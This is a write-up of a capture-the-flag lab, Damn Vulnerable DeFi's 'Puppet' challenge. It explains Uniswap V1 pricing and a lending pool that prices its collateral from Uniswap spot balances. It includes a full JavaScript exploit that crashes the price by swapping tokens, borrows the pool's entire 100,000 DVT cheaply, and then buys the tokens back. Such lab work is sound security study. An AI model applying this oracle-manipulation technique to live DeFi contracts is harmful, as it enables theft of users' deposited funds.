Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before you start, you need to have skills related to Solidity and JavaScript. For each challenge, all you need to do is ensure that the unit tests for that challenge pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/8.html
Challenge description:
There is a lending pool that provides lending services for DVT tokens, but you need to deposit twice the value in ETH as collateral first. Currently, there are 100,000 DVT in this pool.
UniswapV1 now has a trading pair ETH-DVT, with 10 ETH and 10 DVT.
You currently have 25 ETH and 1000 DVT. You need to steal all the tokens from the lending pool.
The lending contract PuppetPool.sol provides the following lending functionality:
// Borrow DVT, but you must deposit twice the value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// Calculate the amount of ETH required to deposit
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// Refund excess ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// Save the amount of ETH deposited by msg.sender
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Transfer DVT token to msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
This method mainly does the following:
- Calculates the amount of ETH that needs to be deposited based on the amount of
DVTborrowed, calleddepositRequired. - Ensures that the amount of
ETHdeposited during the call is greater thandepositRequired; if more is deposited, the difference is refunded. - Saves the amount of
ETHdeposited and lends outDVT.
The calculation of the required ETH deposit is based on the liquidity of the pair contract ETH-DVT in uniswapv1. Here is a brief introduction to the contracts and their methods in uniswapv1.
There are two types of contracts:
-
Factorycontract, used to create and deploy pair contracts. The core method iscreateExchange(token: address): address, which creates and deploys the pair contract forETHagainsttoken, returning the address of the pair contract. -
Exchangetrading contract, also known as the pair contract. In version v1, there are only trading pairs forETHagainstToken, and no trading pairs forTokenagainstToken.
Once a pair contract is created through the factory contract, the method addLiquidity can be called to add liquidity, which means depositing Token and ETH into the pair contract, while liquidity providers receive LP tokens as proof of providing liquidity.
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
When calling this method, in addition to the parameters, ETH must also be sent. The parameters are explained as follows:
min_liquidityis the minimum number ofLP tokensthat the liquidity provider expects to receive; if the final amount is less than this value, the transaction will revert.max_tokensis the maximum number of tokens that the liquidity provider wants to provide; if the calculated token amount exceeds this value and they do not want to provide it, the transaction will revert.deadlineis the deadline for providing liquidity.
When there is liquidity in the pair contract, other traders can trade. Unlike centralized exchanges, the trading price is determined by the latest transaction price on the order book. The trading price in uniswap is calculated based on the constant product formula:
where and are the reserve amounts of the two paired currencies.
Assuming there is a pair contract ETH-USDT, where ETH has 10 as and USDT has 100 as . Then .
At this point, to sell amount of ETH, the amount of USDT received is . This means the amount of ETH in the pool becomes . According to the constant product formula:
Similarly, selling amount of USDT will yield ETH amount of .
This is the calculation formula without transaction fees, but typically a fee of 0.3% is charged and distributed according to the proportion of LP tokens held by liquidity providers.
In the presence of transaction fees, to sell amount of ETH, the actual amount of ETH sold is . For convenience, uniswap multiplies both the numerator and denominator by 1000.
In version v1 of uniswap, several methods are provided to query prices:
getEthToTokenInputPrice(eth_sold: uint256): uint256inputs the amount ofETHsold and returns the amount oftokenreceived.getTokenToEthOutputPrice(eth_bought: uint256): uint256inputs the amount ofETHto buy and returns the amount oftokenneeded.getEthToTokenOutputPrice(tokens_bought: uint256): uint256inputs the amount oftokento buy and returns the amount ofETHneeded.getTokenToEthInputPrice(tokens_sold: uint256): uint256inputs the amount oftokensold and returns the amount ofETHreceived.
The exchange-related methods are as follows:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256exchangesETHfortoken:min_tokensis the minimum number oftokenexpected. If the amount ofETHsent is insufficient to exchange for the expected number oftoken, the transaction fails. If sufficient, the full amount is exchanged and the transaction is executed. The function returns the number oftokenthat can be exchanged.ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256exchangesETHfortoken: when calling this method,ETHis sent to exchange fortokens_boughtamount oftoken. If the amount ofETHsent is too much, the excess will be refunded. The function returns the actual amount ofETHsold.tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256exchangestokenforETH.tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256exchangestokenforETH.
Returning to the challenge, the method calculateDepositRequired in the lending contract PuppetPool.sol calculates the required amount of ETH to deposit:
// Calculate the amount of ETH that needs to be deposited
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// The value of the collateral = amount borrowed * price * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// Calculate the value of each token in terms of ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
From the code, it can be seen that the value of token comes from the reserve amounts of the two currencies in the uniswap pair.
Assuming there is a pair contract ETH-UNI, where there are 100 ETH and 10 UNI, then the value of 1 UNI is equivalent to 10 ETH, meaning the value of each token is equal to . If the value of the denominator can be increased or the value of the numerator can be decreased, the value of each token will decrease.
Given that the hacker holds 25 ETH and 1000 DVT, they can use the 1000 DVT they hold to exchange for ETH, which will greatly increase the value of the denominator and decrease the value of the numerator. This means the value of DVT will become very low.
Then, when borrowing, the required collateral in ETH will only need to be a small amount. Finally, they can exchange back for DVT from uniswap.
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// Authorize uniswap to manage the attacker's DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// Initial balances
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// Use DVT to exchange for ETH on uniswap
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// Calculate the amount of ETH needed as collateral
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// Borrow DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// Calculate how much ETH is needed to exchange for ATTACKER_INITIAL_TOKEN_BALANCE amount of DVT
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// Exchange for DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
The attacker manipulated the price using uniswap, successfully borrowing 100,000 DVT with 19.6643298887982 ETH as collateral, while directly borrowing would have cost 200,000 ETH.
Finally, executing yarn puppet passes the test!